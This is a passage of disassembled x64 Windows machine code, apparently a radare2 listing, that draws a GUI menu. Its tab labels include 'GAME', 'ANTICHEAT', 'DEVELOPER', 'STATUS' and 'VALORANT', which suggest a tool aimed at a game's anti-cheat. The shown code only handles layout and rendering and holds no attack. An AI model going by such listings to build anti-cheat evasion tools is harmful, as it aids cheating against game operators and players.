movd xmm0, eax
cvtdq2ps xmm0, xmm0
mulss xmm0, xmm9
movss dword [rbp + 0x408], xmm0
cvttss2si eax, dword [0x14013e140]
movd xmm1, eax
cvtdq2ps xmm1, xmm1
mulss xmm1, xmm9
movss dword [rbp + 0x40c], xmm1
cvttss2si eax, dword [0x14014c270]
movd xmm0, eax
cvtdq2ps xmm0, xmm0
mulss xmm0, xmm9
movss dword [rbp + 0x410], xmm0
cvttss2si eax, dword [0x14013e118]
movd xmm1, eax
cvtdq2ps xmm1, xmm1
mulss xmm1, xmm9
movss dword [rbp + 0x414], xmm1
lea rcx, [rbp + 0x408]
call fcn.140002c10
mov r14d, eax
test eax, 0xff000000
je 0x14003e5b0
mov dword [rbp + 0xf8], 0x43bf4000
mov dword [rbp + 0xfc], 0x43668000
mov dword [rbp + 0x100], 0x438cc000
mov dword [rbp + 0x104], 0x43018000
mov dword [rsp + 0x20], reloc.WS2_32.dll_ntohs
movaps xmm3, xmm12
lea r8, [rbp + 0xf8]
lea rdx, [rbp + 0x100]
mov rcx, rbx
call fcn.140016e60
mov byte [rsp + 0x30], 1
movss dword [rsp + 0x28], xmm15
mov byte [rsp + 0x20], 1
mov r9d, r14d
mov r8d, dword [rbx + 0x70]
mov rdx, qword [rbx + 0x78]
mov rcx, rbx
call fcn.1400153d0
mov ecx, dword [rbx + 0x74]
test ecx, ecx
jns 0x14003e5ad
mov eax, ecx
cdq
sub eax, edx
sar eax, 1
add eax, ecx
mov edx, edi
test eax, eax
cmovg edx, eax
lea rcx, [rbx + 0x70]
call fcn.14000d280
mov dword [rbx + 0x70], edi
xorps xmm0, xmm0
movups xmmword [rbp + 0x930], xmm0
movaps xmm1, xmmword [0x1400d9c70]
movups xmmword [rbp + 0x940], xmm1
mov dword [rbp + 0x108], 0x3f800000
mov dword [rbp + 0x10c], 0x3f800000
mov qword [rbp + 0x110], 0
lea rax, [rbp + 0x930]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x940]
lea r9, [rbp + 0x108]
lea r8, [rbp + 0x110]
mov rcx, qword [0x14016e2e8]
jmp 0x14003e755
movss dword [rbp + 0x418], xmm10
movss dword [rbp + 0x41c], xmm10
movss dword [rbp + 0x420], xmm10
cvttss2si eax, dword [0x140157d18]
movd xmm0, eax
cvtdq2ps xmm0, xmm0
mulss xmm0, xmm9
movss dword [rbp + 0x424], xmm0
lea rcx, [rbp + 0x418]
call fcn.140002c10
mov r14d, eax
test eax, 0xff000000
je 0x14003e6f6
mov dword [rbp + 0x118], 0x43bf4000
mov dword [rbp + 0x11c], 0x43668000
mov dword [rbp + 0x120], 0x438cc000
mov dword [rbp + 0x124], 0x43018000
mov dword [rsp + 0x20], reloc.WS2_32.dll_ntohs
movaps xmm3, xmm12
lea r8, [rbp + 0x118]
lea rdx, [rbp + 0x120]
mov rcx, rbx
call fcn.140016e60
mov byte [rsp + 0x30], 1
movss dword [rsp + 0x28], xmm15
mov byte [rsp + 0x20], 1
mov r9d, r14d
mov r8d, dword [rbx + 0x70]
mov rdx, qword [rbx + 0x78]
mov rcx, rbx
call fcn.1400153d0
mov ecx, dword [rbx + 0x74]
test ecx, ecx
jns 0x14003e6f3
mov eax, ecx
cdq
sub eax, edx
sar eax, 1
add eax, ecx
mov edx, edi
test eax, eax
cmovg edx, eax
lea rcx, [rbx + 0x70]
call fcn.14000d280
mov dword [rbx + 0x70], edi
xorps xmm0, xmm0
movups xmmword [rbp + 0x950], xmm0
movaps xmm1, xmmword [0x1400d9c70]
movups xmmword [rbp + 0x960], xmm1
mov dword [rbp + 0x128], 0x3f800000
mov dword [rbp + 0x12c], 0x3f800000
mov qword [rbp + 0x130], 0
lea rax, [rbp + 0x950]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x960]
lea r9, [rbp + 0x128]
lea r8, [rbp + 0x130]
mov rcx, qword [0x14016e2a8]
mov qword [rsp + 0x20], rax
lea rdx, [rsp + 0x70]
call fcn.14000c0b0
call fcn.140006ae0
test al, al
mov eax, 3
cmovne r15d, eax
mov rcx, qword [0x1400ee0d0]
mov rax, qword [rcx + 0x17d8]
cmp byte [rax + 0x10c], 0
je 0x14003e7a8
mov edx, 0x7f89
xor ecx, ecx
call qword [sym.imp.USER32.dll_LoadCursorW]
mov rcx, rax
call qword [sym.imp.USER32.dll_SetCursor]
mov rcx, qword [0x1400ee0d0]
mov rax, qword [rcx + 0x17d8]
mov byte [rax + 0x8a], 1
mov rax, qword [rcx + 0x17d8]
movss xmm0, dword [rax + 0x1c]
subss xmm0, dword [rax + 0x60]
addss xmm0, dword [0x1400d9690]
movss xmm2, dword [rax + 0x20]
subss xmm2, dword [rax + 0x64]
addss xmm2, xmm6
movss dword [rax + 0xc0], xmm0
movss dword [rax + 0xc4], xmm2
movss xmm1, dword [rax + 0xd8]
maxss xmm1, dword [rax + 0xc0]
movss xmm0, dword [rax + 0xdc]
maxss xmm0, xmm2
movss dword [rax + 0xd8], xmm1
movss dword [rax + 0xdc], xmm0
cmp r15d, 4
je 0x14003e9a2
cvttss2si eax, dword [0x14013e108]
movd xmm0, eax
cvtdq2ps xmm0, xmm0
mulss xmm0, xmm9
movss dword [rbp + 0x428], xmm0
cvttss2si eax, dword [0x14013e140]
movd xmm1, eax
cvtdq2ps xmm1, xmm1
mulss xmm1, xmm9
movss dword [rbp + 0x42c], xmm1
cvttss2si eax, dword [0x14014c270]
movd xmm0, eax
cvtdq2ps xmm0, xmm0
mulss xmm0, xmm9
movss dword [rbp + 0x430], xmm0
cvttss2si eax, dword [0x14013e118]
movd xmm1, eax
cvtdq2ps xmm1, xmm1
mulss xmm1, xmm9
movss dword [rbp + 0x434], xmm1
lea rcx, [rbp + 0x428]
call fcn.140002c10
mov r14d, eax
test eax, 0xff000000
je 0x14003e93e
mov dword [rbp + 0x138], 0x4400e000
mov dword [rbp + 0x13c], 0x43668000
mov dword [rbp + 0x140], 0x43cf4000
mov dword [rbp + 0x144], 0x43018000
mov dword [rsp + 0x20], reloc.WS2_32.dll_ntohs
movaps xmm3, xmm12
lea r8, [rbp + 0x138]
lea rdx, [rbp + 0x140]
mov rcx, rbx
call fcn.140016e60
mov byte [rsp + 0x30], 1
movss dword [rsp + 0x28], xmm15
mov byte [rsp + 0x20], 1
mov r9d, r14d
mov r8d, dword [rbx + 0x70]
mov rdx, qword [rbx + 0x78]
mov rcx, rbx
call fcn.1400153d0
mov ecx, dword [rbx + 0x74]
test ecx, ecx
jns 0x14003e93b
mov eax, ecx
cdq
sub eax, edx
sar eax, 1
add eax, ecx
mov edx, edi
test eax, eax
cmovg edx, eax
lea rcx, [rbx + 0x70]
call fcn.14000d280
mov dword [rbx + 0x70], edi
xorps xmm0, xmm0
movups xmmword [rbp + 0x970], xmm0
movaps xmm1, xmmword [0x1400d9c70]
movups xmmword [rbp + 0x980], xmm1
mov dword [rbp + 0x148], 0x3f800000
mov dword [rbp + 0x14c], 0x3f800000
mov qword [rbp + 0x150], 0
lea rax, [rbp + 0x970]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x980]
lea r9, [rbp + 0x148]
lea r8, [rbp + 0x150]
mov rcx, qword [0x14016e2d8]
jmp 0x14003eae3
movss dword [rbp + 0x438], xmm10
movss dword [rbp + 0x43c], xmm10
movss dword [rbp + 0x440], xmm10
cvttss2si eax, dword [0x140157d18]
movd xmm0, eax
cvtdq2ps xmm0, xmm0
mulss xmm0, xmm9
movss dword [rbp + 0x444], xmm0
lea rcx, [rbp + 0x438]
call fcn.140002c10
mov r14d, eax
test eax, 0xff000000
je 0x14003ea84
mov dword [rbp + 0x158], 0x4400e000
mov dword [rbp + 0x15c], 0x43668000
mov dword [rbp + 0x160], 0x43cf4000
mov dword [rbp + 0x164], 0x43018000
mov dword [rsp + 0x20], reloc.WS2_32.dll_ntohs
movaps xmm3, xmm12
lea r8, [rbp + 0x158]
lea rdx, [rbp + 0x160]
mov rcx, rbx
call fcn.140016e60
mov byte [rsp + 0x30], 1
movss dword [rsp + 0x28], xmm15
mov byte [rsp + 0x20], 1
mov r9d, r14d
mov r8d, dword [rbx + 0x70]
mov rdx, qword [rbx + 0x78]
mov rcx, rbx
call fcn.1400153d0
mov ecx, dword [rbx + 0x74]
test ecx, ecx
jns 0x14003ea81
mov eax, ecx
cdq
sub eax, edx
sar eax, 1
add eax, ecx
mov edx, edi
test eax, eax
cmovg edx, eax
lea rcx, [rbx + 0x70]
call fcn.14000d280
mov dword [rbx + 0x70], edi
xorps xmm0, xmm0
movups xmmword [rbp + 0x990], xmm0
movaps xmm1, xmmword [0x1400d9c70]
movups xmmword [rbp + 0x9a0], xmm1
mov dword [rbp + 0x168], 0x3f800000
mov dword [rbp + 0x16c], 0x3f800000
mov qword [rbp + 0x170], 0
lea rax, [rbp + 0x990]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x9a0]
lea r9, [rbp + 0x168]
lea r8, [rbp + 0x170]
mov rcx, qword [0x14016e2c8]
mov qword [rsp + 0x20], rax
lea rdx, [rsp + 0x70]
call fcn.14000c0b0
call fcn.140006ae0
test al, al
mov eax, 4
cmovne r15d, eax
mov rcx, qword [0x1400ee0d0]
mov rax, qword [rcx + 0x17d8]
cmp byte [rax + 0x10c], 0
je 0x14003eb36
mov edx, 0x7f89
xor ecx, ecx
call qword [sym.imp.USER32.dll_LoadCursorW]
mov rcx, rax
call qword [sym.imp.USER32.dll_SetCursor]
mov rcx, qword [0x1400ee0d0]
mov rax, qword [rcx + 0x17d8]
mov byte [rax + 0x8a], 1
mov rax, qword [rcx + 0x17d8]
movss xmm0, dword [rax + 0x1c]
subss xmm0, dword [rax + 0x60]
addss xmm0, dword [0x1400d96ac]
movss xmm2, dword [rax + 0x20]
subss xmm2, dword [rax + 0x64]
addss xmm2, xmm6
movss dword [rax + 0xc0], xmm0
movss dword [rax + 0xc4], xmm2
movss xmm1, dword [rax + 0xd8]
maxss xmm1, dword [rax + 0xc0]
movss xmm0, dword [rax + 0xdc]
maxss xmm0, xmm2
movss dword [rax + 0xd8], xmm1
movss dword [rax + 0xdc], xmm0
cmp r15d, r12d
je 0x14003ed2f
cvttss2si eax, dword [0x14013e108]
movd xmm0, eax
cvtdq2ps xmm0, xmm0
mulss xmm0, xmm9
movss dword [rbp + 0x448], xmm0
cvttss2si eax, dword [0x14013e140]
movd xmm1, eax
cvtdq2ps xmm1, xmm1
mulss xmm1, xmm9
movss dword [rbp + 0x44c], xmm1
cvttss2si eax, dword [0x14014c270]
movd xmm0, eax
cvtdq2ps xmm0, xmm0
mulss xmm0, xmm9
movss dword [rbp + 0x450], xmm0
cvttss2si eax, dword [0x14013e118]
movd xmm1, eax
cvtdq2ps xmm1, xmm1
mulss xmm1, xmm9
movss dword [rbp + 0x454], xmm1
lea rcx, [rbp + 0x448]
call fcn.140002c10
mov r14d, eax
test eax, 0xff000000
je 0x14003eccb
mov dword [rbp + 0x178], 0x44222000
mov dword [rbp + 0x17c], 0x43668000
mov dword [rbp + 0x180], 0x4408e000
mov dword [rbp + 0x184], 0x43018000
mov dword [rsp + 0x20], reloc.WS2_32.dll_ntohs
movaps xmm3, xmm12
lea r8, [rbp + 0x178]
lea rdx, [rbp + 0x180]
mov rcx, rbx
call fcn.140016e60
mov byte [rsp + 0x30], 1
movss dword [rsp + 0x28], xmm15
mov byte [rsp + 0x20], 1
mov r9d, r14d
mov r8d, dword [rbx + 0x70]
mov rdx, qword [rbx + 0x78]
mov rcx, rbx
call fcn.1400153d0
mov ecx, dword [rbx + 0x74]
test ecx, ecx
jns 0x14003ecc8
mov eax, ecx
cdq
sub eax, edx
sar eax, 1
add eax, ecx
mov edx, edi
test eax, eax
cmovg edx, eax
lea rcx, [rbx + 0x70]
call fcn.14000d280
mov dword [rbx + 0x70], edi
xorps xmm0, xmm0
movups xmmword [rbp + 0x9b0], xmm0
movaps xmm1, xmmword [0x1400d9c70]
movups xmmword [rbp + 0x9c0], xmm1
mov dword [rbp + 0x188], 0x3f800000
mov dword [rbp + 0x18c], 0x3f800000
mov qword [rbp + 0x190], 0
lea rax, [rbp + 0x9b0]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x9c0]
lea r9, [rbp + 0x188]
lea r8, [rbp + 0x190]
mov rcx, qword [0x14016e2c0]
jmp 0x14003ee70
movss dword [rbp + 0x458], xmm10
movss dword [rbp + 0x45c], xmm10
movss dword [rbp + 0x460], xmm10
cvttss2si eax, dword [0x140157d18]
movd xmm0, eax
cvtdq2ps xmm0, xmm0
mulss xmm0, xmm9
movss dword [rbp + 0x464], xmm0
lea rcx, [rbp + 0x458]
call fcn.140002c10
mov r14d, eax
test eax, 0xff000000
je 0x14003ee11
mov dword [rbp + 0x198], 0x44222000
mov dword [rbp + 0x19c], 0x43668000
mov dword [rbp + 0xb0], 0x4408e000
mov dword [rbp + 0xb4], 0x43018000
mov dword [rsp + 0x20], reloc.WS2_32.dll_ntohs
movaps xmm3, xmm12
lea r8, [rbp + 0x198]
lea rdx, [rbp + 0xb0]
mov rcx, rbx
call fcn.140016e60
mov byte [rsp + 0x30], 1
movss dword [rsp + 0x28], xmm15
mov byte [rsp + 0x20], 1
mov r9d, r14d
mov r8d, dword [rbx + 0x70]
mov rdx, qword [rbx + 0x78]
mov rcx, rbx
call fcn.1400153d0
mov ecx, dword [rbx + 0x74]
test ecx, ecx
jns 0x14003ee0e
mov eax, ecx
cdq
sub eax, edx
sar eax, 1
add eax, ecx
mov edx, edi
test eax, eax
cmovg edx, eax
lea rcx, [rbx + 0x70]
call fcn.14000d280
mov dword [rbx + 0x70], edi
xorps xmm0, xmm0
movups xmmword [rbp + 0x9d0], xmm0
movaps xmm1, xmmword [0x1400d9c70]
movups xmmword [rbp + 0x9e0], xmm1
mov dword [rbp + 0x1a8], 0x3f800000
mov dword [rbp + 0x1ac], 0x3f800000
mov qword [rbp + 0x1b0], 0
lea rax, [rbp + 0x9d0]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x9e0]
lea r9, [rbp + 0x1a8]
lea r8, [rbp + 0x1b0]
mov rcx, qword [0x14016e2f0]
mov qword [rsp + 0x20], rax
lea rdx, [rsp + 0x70]
call fcn.14000c0b0
call fcn.140006ae0
test al, al
cmovne r15d, r12d
mov rcx, qword [0x1400ee0d0]
mov rax, qword [rcx + 0x17d8]
cmp byte [rax + 0x10c], 0
je 0x14003eebe
mov edx, 0x7f89
xor ecx, ecx
call qword [sym.imp.USER32.dll_LoadCursorW]
mov rcx, rax
call qword [sym.imp.USER32.dll_SetCursor]
mov rcx, qword [0x1400ee0d0]
mov rax, qword [rcx + 0x17d8]
mov byte [rax + 0x8a], 1
mov rax, qword [rcx + 0x17d8]
movss xmm0, dword [rax + 0x1c]
subss xmm0, dword [rax + 0x60]
addss xmm0, dword [0x1400d96b0]
movss xmm2, dword [rax + 0x20]
subss xmm2, dword [rax + 0x64]
addss xmm2, xmm6
movss dword [rax + 0xc0], xmm0
movss dword [rax + 0xc4], xmm2
movss xmm1, dword [rax + 0xd8]
maxss xmm1, dword [rax + 0xc0]
movss xmm0, dword [rax + 0xdc]
maxss xmm0, xmm2
movss dword [rax + 0xd8], xmm1
movss dword [rax + 0xdc], xmm0
cmp r15d, 6
je 0x14003f0bf
cvttss2si eax, dword [0x14013e108]
movd xmm0, eax
cvtdq2ps xmm0, xmm0
mulss xmm0, xmm9
movss dword [rbp + 0x468], xmm0
cvttss2si eax, dword [0x14013e140]
movd xmm1, eax
cvtdq2ps xmm1, xmm1
mulss xmm1, xmm9
movss dword [rbp + 0x46c], xmm1
cvttss2si eax, dword [0x14014c270]
movd xmm0, eax
cvtdq2ps xmm0, xmm0
mulss xmm0, xmm9
movss dword [rbp + 0x470], xmm0
cvttss2si eax, dword [0x14013e118]
movd xmm1, eax
cvtdq2ps xmm1, xmm1
mulss xmm1, xmm9
movss dword [rbp + 0x474], xmm1
lea rcx, [rbp + 0x468]
call fcn.140002c10
mov r14d, eax
test eax, 0xff000000
je 0x14003f057
mov dword [rbp + 0x1b8], 0x44436000
mov dword [rbp + 0x1bc], 0x43668000
mov dword [rbp + 0x1c0], 0x442a2000
mov dword [rbp + 0x1c4], 0x43018000
mov dword [rsp + 0x20], reloc.WS2_32.dll_ntohs
movaps xmm3, xmm12
lea r8, [rbp + 0x1b8]
lea rdx, [rbp + 0x1c0]
mov rcx, rbx
call fcn.140016e60
lea rsi, [rbx + 0x70]
mov byte [rsp + 0x30], 1
movss dword [rsp + 0x28], xmm15
mov byte [rsp + 0x20], 1
mov r9d, r14d
mov r8d, dword [rsi]
mov rdx, qword [rbx + 0x78]
mov rcx, rbx
call fcn.1400153d0
mov ecx, dword [rsi + 4]
test ecx, ecx
jns 0x14003f053
mov eax, ecx
cdq
sub eax, edx
sar eax, 1
add eax, ecx
mov edx, edi
test eax, eax
cmovg edx, eax
mov rcx, rsi
call fcn.14000d280
mov dword [rsi], edi
jmp 0x14003f05b
lea rsi, [rbx + 0x70]
xorps xmm0, xmm0
movups xmmword [rbp + 0x9f0], xmm0
movaps xmm1, xmmword [0x1400d9c70]
movups xmmword [rbp + 0xa00], xmm1
mov dword [rbp + 0x1c8], 0x3f800000
mov dword [rbp + 0x1cc], 0x3f800000
mov qword [rbp + 0x1d0], 0
lea rax, [rbp + 0x9f0]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0xa00]
lea r9, [rbp + 0x1c8]
lea r8, [rbp + 0x1d0]
mov rcx, qword [0x14016e298]
jmp 0x14003f207
movss dword [rbp + 0x478], xmm10
movss dword [rbp + 0x47c], xmm10
movss dword [rbp + 0x480], xmm10
cvttss2si eax, dword [0x140157d18]
movd xmm0, eax
cvtdq2ps xmm0, xmm0
mulss xmm0, xmm9
movss dword [rbp + 0x484], xmm0
lea rcx, [rbp + 0x478]
call fcn.140002c10
mov r14d, eax
test eax, 0xff000000
je 0x14003f1a4
mov dword [rbp + 0x1d8], 0x44436000
mov dword [rbp + 0x1dc], 0x43668000
mov dword [rbp + 0x1e0], 0x442a2000
mov dword [rbp + 0x1e4], 0x43018000
mov dword [rsp + 0x20], reloc.WS2_32.dll_ntohs
movaps xmm3, xmm12
lea r8, [rbp + 0x1d8]
lea rdx, [rbp + 0x1e0]
mov rcx, rbx
call fcn.140016e60
lea rsi, [rbx + 0x70]
mov byte [rsp + 0x30], 1
movss dword [rsp + 0x28], xmm15
mov byte [rsp + 0x20], 1
mov r9d, r14d
mov r8d, dword [rsi]
mov rdx, qword [rbx + 0x78]
mov rcx, rbx
call fcn.1400153d0
mov ecx, dword [rsi + 4]
test ecx, ecx
jns 0x14003f1a0
mov eax, ecx
cdq
sub eax, edx
sar eax, 1
add eax, ecx
mov edx, edi
test eax, eax
cmovg edx, eax
mov rcx, rsi
call fcn.14000d280
mov dword [rsi], edi
jmp 0x14003f1a8
lea rsi, [rbx + 0x70]
xorps xmm0, xmm0
movups xmmword [rbp + 0xa10], xmm0
movaps xmm1, xmmword [0x1400d9c70]
movups xmmword [rbp + 0xa20], xmm1
mov dword [rbp + 0x1e8], 0x3f800000
mov dword [rbp + 0x1ec], 0x3f800000
mov qword [rbp + 0x1f0], 0
lea rax, [rbp + 0xa10]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0xa20]
lea r9, [rbp + 0x1e8]
lea r8, [rbp + 0x1f0]
mov rcx, qword [0x14016e2d0]
mov qword [rsp + 0x20], rax
lea rdx, [rsp + 0x70]
call fcn.14000c0b0
call fcn.140006ae0
test al, al
mov eax, 6
cmovne r15d, eax
mov rax, qword [0x1400ee0d0]
mov rcx, qword [rax + 0x17d8]
cmp byte [rcx + 0x10c], 0
je 0x14003f253
mov edx, 0x7f89
xor ecx, ecx
call qword [sym.imp.USER32.dll_LoadCursorW]
mov rcx, rax
call qword [sym.imp.USER32.dll_SetCursor]
movss xmm6, dword [0x14013e108]
cvttss2si eax, xmm6
movd xmm0, eax
cvtdq2ps xmm0, xmm0
mulss xmm0, xmm9
movss dword [rbp + 0x2a8], xmm0
movss xmm7, dword [0x14013e140]
cvttss2si eax, xmm7
movd xmm0, eax
cvtdq2ps xmm0, xmm0
mulss xmm0, xmm9
movss dword [rbp + 0x2ac], xmm0
movss xmm8, dword [0x14014c270]
cvttss2si eax, xmm8
movd xmm0, eax
cvtdq2ps xmm0, xmm0
mulss xmm0, xmm9
movss dword [rbp + 0x2b0], xmm0
movss dword [rbp + 0x2b4], xmm10
lea rcx, [rbp + 0x2a8]
call fcn.140002c10
mov r14d, eax
test eax, 0xff000000
je 0x14003f386
mov dword [rbp + 0x1f8], 0x437b8000
mov dword [rbp + 0x1fc], 0x4410e000
mov dword [rbp + 0x200], 0x41480000
mov dword [rbp + 0x204], 0x437a8000
mov dword [rsp + 0x20], reloc.WS2_32.dll_ntohs
movaps xmm3, xmm12
lea r8, [rbp + 0x1f8]
lea rdx, [rbp + 0x200]
mov rcx, rbx
call fcn.140016e60
mov byte [rsp + 0x30], 1
movss xmm0, dword [0x1400d95b4]
movss dword [rsp + 0x28], xmm0
mov byte [rsp + 0x20], 1
mov r9d, r14d
mov r8d, dword [rsi]
mov rdx, qword [rbx + 0x78]
mov rcx, rbx
call fcn.1400153d0
mov ecx, dword [rsi + 4]
test ecx, ecx
jns 0x14003f36b
mov eax, ecx
cdq
sub eax, edx
sar eax, 1
add eax, ecx
mov edx, edi
test eax, eax
cmovg edx, eax
mov rcx, rsi
call fcn.14000d280
mov dword [rsi], edi
movss xmm6, dword [0x14013e108]
movss xmm7, dword [0x14013e140]
movss xmm8, dword [0x14014c270]
cvttss2si eax, xmm6
movd xmm0, eax
cvtdq2ps xmm0, xmm0
mulss xmm0, xmm9
movss dword [rbp + 0x2b8], xmm0
cvttss2si eax, xmm7
movd xmm1, eax
cvtdq2ps xmm1, xmm1
mulss xmm1, xmm9
movss dword [rbp + 0x2bc], xmm1
cvttss2si eax, xmm8
movd xmm0, eax
cvtdq2ps xmm0, xmm0
mulss xmm0, xmm9
movss dword [rbp + 0x2c0], xmm0
movss dword [rbp + 0x2c4], xmm10
mov dword [rbp + 0x208], 0x437c0000
mov dword [rbp + 0x20c], 0x43fa0000
mov dword [rbp + 0x210], 0x41400000
mov dword [rbp + 0x214], 0x43fa0000
lea rcx, [rbp + 0x2b8]
call fcn.140002c10
mov r9d, eax
movss xmm0, dword [0x1400d95b4]
movss dword [rsp + 0x20], xmm0
lea r8, [rbp + 0x208]
lea rdx, [rbp + 0x210]
mov rcx, rbx
call fcn.1400171c0
mov rcx, qword [rbp + 0x4d8]
call fcn.14000a8c0
mov rcx, qword [0x1400ee0d0]
mov rax, qword [rcx + 0x17d8]
mov byte [rax + 0x8a], 1
mov rax, qword [rcx + 0x17d8]
movss xmm0, dword [rax + 0x1c]
subss xmm0, dword [rax + 0x60]
addss xmm0, dword [0x1400d9648]
movss xmm2, dword [rax + 0x20]
subss xmm2, dword [rax + 0x64]
addss xmm2, xmm14
movss dword [rax + 0xc0], xmm0
movss dword [rax + 0xc4], xmm2
movss xmm1, dword [rax + 0xd8]
maxss xmm1, dword [rax + 0xc0]
movss xmm0, dword [rax + 0xdc]
maxss xmm0, xmm2
movss dword [rax + 0xd8], xmm1
movss dword [rax + 0xdc], xmm0
cvttss2si eax, dword [0x140157d18]
movd xmm1, eax
cvtdq2ps xmm1, xmm1
mulss xmm1, xmm9
movaps xmm0, xmm10
shufps xmm0, xmm0, 0xe1
movss xmm0, xmm10
shufps xmm0, xmm0, 0xc6
movss xmm0, xmm10
shufps xmm0, xmm0, 0x27
movss xmm0, xmm1
shufps xmm0, xmm0, 0x39
movups xmmword [rsp + 0x60], xmm0
movaps xmm3, xmm11
movq r9, xmm3
movaps xmm2, xmm13
movq r8, xmm2
lea rdx, str.GAME
lea rcx, [rsp + 0x60]
call fcn.14000acf0
mov rcx, qword [0x1400ee0d0]
mov rax, qword [rcx + 0x17d8]
mov byte [rax + 0x8a], 1
mov rax, qword [rcx + 0x17d8]
movss xmm0, dword [rax + 0x1c]
subss xmm0, dword [rax + 0x60]
addss xmm0, dword [0x1400d9634]
movss xmm2, dword [rax + 0x20]
subss xmm2, dword [rax + 0x64]
addss xmm2, dword [0x1400d9680]
movss dword [rax + 0xc0], xmm0
movss dword [rax + 0xc4], xmm2
movss xmm1, dword [rax + 0xd8]
maxss xmm1, dword [rax + 0xc0]
movss xmm0, dword [rax + 0xdc]
maxss xmm0, xmm2
movss dword [rax + 0xd8], xmm1
movss dword [rax + 0xdc], xmm0
cvttss2si eax, dword [0x140157d18]
movd xmm1, eax
cvtdq2ps xmm1, xmm1
mulss xmm1, xmm9
movaps xmm0, xmm10
shufps xmm0, xmm0, 0xe1
movss xmm0, xmm10
shufps xmm0, xmm0, 0xc6
movss xmm0, xmm10
shufps xmm0, xmm0, 0x27
movss xmm0, xmm1
shufps xmm0, xmm0, 0x39
movups xmmword [rsp + 0x60], xmm0
movaps xmm3, xmm11
movq r9, xmm3
movaps xmm2, xmm13
movq r8, xmm2
lea rdx, str.ANTICHEAT
lea rcx, [rsp + 0x60]
call fcn.14000acf0
mov rcx, qword [0x1400ee0d0]
mov rax, qword [rcx + 0x17d8]
mov byte [rax + 0x8a], 1
mov rax, qword [rcx + 0x17d8]
movss xmm0, dword [rax + 0x1c]
subss xmm0, dword [rax + 0x60]
addss xmm0, dword [0x1400d9634]
movss xmm2, dword [rax + 0x20]
subss xmm2, dword [rax + 0x64]
addss xmm2, dword [0x1400d9690]
movss dword [rax + 0xc0], xmm0
movss dword [rax + 0xc4], xmm2
movss xmm1, dword [rax + 0xd8]
maxss xmm1, dword [rax + 0xc0]
movss xmm0, dword [rax + 0xdc]
maxss xmm0, xmm2
movss dword [rax + 0xd8], xmm1
movss dword [rax + 0xdc], xmm0
cvttss2si eax, dword [0x140157d18]
movd xmm1, eax
cvtdq2ps xmm1, xmm1
mulss xmm1, xmm9
movaps xmm0, xmm10
shufps xmm0, xmm0, 0xe1
movss xmm0, xmm10
shufps xmm0, xmm0, 0xc6
movss xmm0, xmm10
shufps xmm0, xmm0, 0x27
movss xmm0, xmm1
shufps xmm0, xmm0, 0x39
movups xmmword [rsp + 0x60], xmm0
movaps xmm3, xmm11
movq r9, xmm3
movaps xmm2, xmm13
movq r8, xmm2
lea rdx, str.DEVELOPER
lea rcx, [rsp + 0x60]
call fcn.14000acf0
mov rcx, qword [0x1400ee0d0]
mov rax, qword [rcx + 0x17d8]
mov byte [rax + 0x8a], 1
mov rax, qword [rcx + 0x17d8]
movss xmm0, dword [rax + 0x1c]
subss xmm0, dword [rax + 0x60]
addss xmm0, dword [0x1400d9640]
movss xmm2, dword [rax + 0x20]
subss xmm2, dword [rax + 0x64]
addss xmm2, dword [0x1400d96a0]
movss dword [rax + 0xc0], xmm0
movss dword [rax + 0xc4], xmm2
movss xmm1, dword [rax + 0xd8]
maxss xmm1, dword [rax + 0xc0]
movss xmm0, dword [rax + 0xdc]
maxss xmm0, xmm2
movss dword [rax + 0xd8], xmm1
movss dword [rax + 0xdc], xmm0
cvttss2si eax, dword [0x140157d18]
movd xmm1, eax
cvtdq2ps xmm1, xmm1
mulss xmm1, xmm9
movaps xmm0, xmm10
shufps xmm0, xmm0, 0xe1
movss xmm0, xmm10
shufps xmm0, xmm0, 0xc6
movss xmm0, xmm10
shufps xmm0, xmm0, 0x27
movss xmm0, xmm1
shufps xmm0, xmm0, 0x39
movups xmmword [rsp + 0x60], xmm0
movaps xmm3, xmm11
movq r9, xmm3
movaps xmm2, xmm13
movq r8, xmm2
lea rdx, str.STATUS
lea rcx, [rsp + 0x60]
call fcn.14000acf0
mov rcx, qword [rbp + 0x218]
call fcn.14000a8c0
lea eax, [r15 - 1]
cmp eax, r12d
ja case.default.0x14003f7d0
cdqe
lea rdx, [0x140000000]
mov ecx, dword [rdx + rax*4 + 0x419f8]
add rcx, rdx
jmp rcx
mov rcx, qword [0x1400ee0d0]
mov rax, qword [rcx + 0x17d8]
mov byte [rax + 0x8a], 1
mov rax, qword [rcx + 0x17d8]
movss xmm0, dword [rax + 0x1c]
subss xmm0, dword [rax + 0x60]
addss xmm0, dword [0x1400d961c]
movss xmm2, dword [rax + 0x20]
subss xmm2, dword [rax + 0x64]
addss xmm2, dword [0x1400d9674]
movss dword [rax + 0xc0], xmm0
movss dword [rax + 0xc4], xmm2
movss xmm1, dword [rax + 0xd8]
maxss xmm1, dword [rax + 0xc0]
movss xmm0, dword [rax + 0xdc]
maxss xmm0, xmm2
movss dword [rax + 0xd8], xmm1
movss dword [rax + 0xdc], xmm0
cvttss2si eax, dword [0x14013e108]
movd xmm2, eax
cvtdq2ps xmm2, xmm2
mulss xmm2, xmm9
cvttss2si eax, dword [0x14013e140]
movd xmm0, eax
cvtdq2ps xmm0, xmm0
mulss xmm0, xmm9
cvttss2si eax, dword [0x14014c270]
movd xmm1, eax
cvtdq2ps xmm1, xmm1
mulss xmm1, xmm9
shufps xmm2, xmm2, 0xe1
movss xmm2, xmm0
shufps xmm2, xmm2, 0xc6
movss xmm2, xmm1
shufps xmm2, xmm2, 0x27
movss xmm2, xmm10
shufps xmm2, xmm2, 0x39
movups xmmword [rsp + 0x60], xmm2
movaps xmm3, xmm11
movq r9, xmm3
movaps xmm2, xmm13
movq r8, xmm2
lea rdx, str.VALORANT
lea rcx, [rsp + 0x60]
call fcn.14000acf0
mov rcx, qword [0x1400ee0d0]
mov rax, qword [rcx + 0x17d8]
mov byte [rax + 0x8a], 1
mov rax, qword [rcx + 0x17d8]
movss xmm0, dword [rax + 0x1c]
subss xmm0, dword [rax + 0x60]
addss xmm0, dword [0x1400d961c]
movss xmm2, dword [rax + 0x20]
subss xmm2, dword [rax + 0x64]
addss xmm2, dword [0x1400d9684]
movss dword [rax + 0xc0], xmm0
movss dword [rax + 0xc4], xmm2
